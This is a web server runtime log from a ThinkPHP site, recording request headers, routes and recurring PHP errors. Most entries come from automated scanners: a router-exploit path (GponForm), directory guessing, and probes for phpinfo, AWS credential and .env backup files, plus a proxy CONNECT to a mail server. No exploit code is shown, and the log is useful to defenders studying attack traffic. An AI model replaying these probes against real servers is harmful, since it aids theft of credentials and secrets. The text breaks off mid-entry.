--------------------------------------------------------------- [ 2024-10-23T00:05:02+08:00 ] 43.159.148.221 GET 59.110.137.245/ [运行时间:0.031623s] [吞吐率:31.62req/s] [内存消耗:161.90kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', 'accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', 'accept-encoding' => 'gzip', 'accept-language' => 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', 'cache-control' => 'no-cache', 'connection' => 'keep-alive, close', 'pragma' => 'no-cache', 'upgrade-insecure-requests' => '1', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T00:23:37+08:00 ] 103.158.97.73 POST 127.0.0.1:80/GponForm/diag_Form?images/ [运行时间:0.066944s] [吞吐率:14.94req/s] [内存消耗:133.70kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'GponForm', 2 => 'diag_Form', ), ) [ info ] [ HEADER ] array ( 'host' => '127.0.0.1:80', 'connection' => 'keep-alive', 'accept-encoding' => 'gzip, deflate', 'accept' => '*/*', 'user-agent' => 'Hello, World', 'content-length' => '118', ) [ info ] [ PARAM ] array ( 'images/' => '', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T00:39:42+08:00 ] 13.75.160.253 HEAD 51tianwei.com/wordpress [运行时间:0.028544s] [吞吐率:35.03req/s] [内存消耗:132.59kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'wordpress', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T00:39:42+08:00 ] 13.75.160.253 HEAD 51tianwei.com/ [运行时间:0.014790s] [吞吐率:67.61req/s] [内存消耗:159.69kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T00:39:42+08:00 ] 13.75.160.253 HEAD 51tianwei.com/wp [运行时间:0.001855s] [吞吐率:539.04req/s] [内存消耗:132.55kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'wp', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T00:39:42+08:00 ] 13.75.160.253 HEAD 51tianwei.com/bc [运行时间:0.001873s] [吞吐率:533.90req/s] [内存消耗:132.55kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'bc', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T00:39:42+08:00 ] 13.75.160.253 HEAD 51tianwei.com/bk [运行时间:0.001732s] [吞吐率:577.33req/s] [内存消耗:132.55kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'bk', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T00:39:43+08:00 ] 13.75.160.253 HEAD 51tianwei.com/backup [运行时间:0.001811s] [吞吐率:552.17req/s] [内存消耗:132.56kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'backup', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T00:39:43+08:00 ] 13.75.160.253 HEAD 51tianwei.com/old [运行时间:0.001826s] [吞吐率:547.63req/s] [内存消耗:132.56kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'old', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T00:39:43+08:00 ] 13.75.160.253 HEAD 51tianwei.com/new [运行时间:0.001785s] [吞吐率:560.21req/s] [内存消耗:132.56kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'new', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T00:39:43+08:00 ] 13.75.160.253 HEAD 51tianwei.com/main [运行时间:0.001792s] [吞吐率:557.98req/s] [内存消耗:132.56kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'main', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T00:39:43+08:00 ] 13.75.160.253 HEAD 51tianwei.com/home [运行时间:0.001764s] [吞吐率:566.87req/s] [内存消耗:132.56kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'home', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T00:48:59+08:00 ] 64.120.116.26 GET 59.110.137.245/ [运行时间:0.001458s] [吞吐率:685.90req/s] [内存消耗:159.80kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36', 'accept' => '*/*', 'accept-encoding' => 'gzip', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T00:50:19+08:00 ] 217.114.43.197 GET 59.110.137.245/phpinfo.php [运行时间:0.003459s] [吞吐率:289.10req/s] [内存消耗:132.62kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'phpinfo.php', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'python-requests/2.32.3', 'accept-encoding' => 'gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T00:50:20+08:00 ] 217.114.43.197 GET 59.110.137.245/info.php [运行时间:0.003467s] [吞吐率:288.45req/s] [内存消耗:132.58kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'info.php', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'python-requests/2.32.3', 'accept-encoding' => 'gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T00:50:20+08:00 ] 217.114.43.197 GET 59.110.137.245/phpinfo [运行时间:0.002283s] [吞吐率:438.00req/s] [内存消耗:132.55kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'phpinfo', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'python-requests/2.32.3', 'accept-encoding' => 'gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T00:50:21+08:00 ] 217.114.43.197 GET 59.110.137.245/aws.yml [运行时间:0.002507s] [吞吐率:398.89req/s] [内存消耗:132.55kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'aws.yml', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'python-requests/2.32.3', 'accept-encoding' => 'gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T00:50:22+08:00 ] 217.114.43.197 GET 59.110.137.245/.aws/credentials [运行时间:0.002435s] [吞吐率:410.68req/s] [内存消耗:132.66kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.aws', 2 => 'credentials', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'python-requests/2.32.3', 'accept-encoding' => 'gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T00:50:22+08:00 ] 217.114.43.197 GET 59.110.137.245/_profiler/phpinfo [运行时间:0.002436s] [吞吐率:410.52req/s] [内存消耗:132.66kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '_profiler', 2 => 'phpinfo', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'python-requests/2.32.3', 'accept-encoding' => 'gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T00:50:23+08:00 ] 217.114.43.197 GET 59.110.137.245/test.php [运行时间:0.002523s] [吞吐率:396.32req/s] [内存消耗:132.58kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'test.php', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'python-requests/2.32.3', 'accept-encoding' => 'gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T00:50:24+08:00 ] 217.114.43.197 GET 59.110.137.245/.env.bak [运行时间:0.002288s] [吞吐率:437.04req/s] [内存消耗:132.58kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.env.bak', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'python-requests/2.32.3', 'accept-encoding' => 'gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T01:23:36+08:00 ] 80.66.83.49 CONNECT hotmail-com.olc.protection.outlook.com:25hotmail-com.olc.protection.outlook.com:25 [运行时间:0.050825s] [吞吐率:19.68req/s] [内存消耗:159.51kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 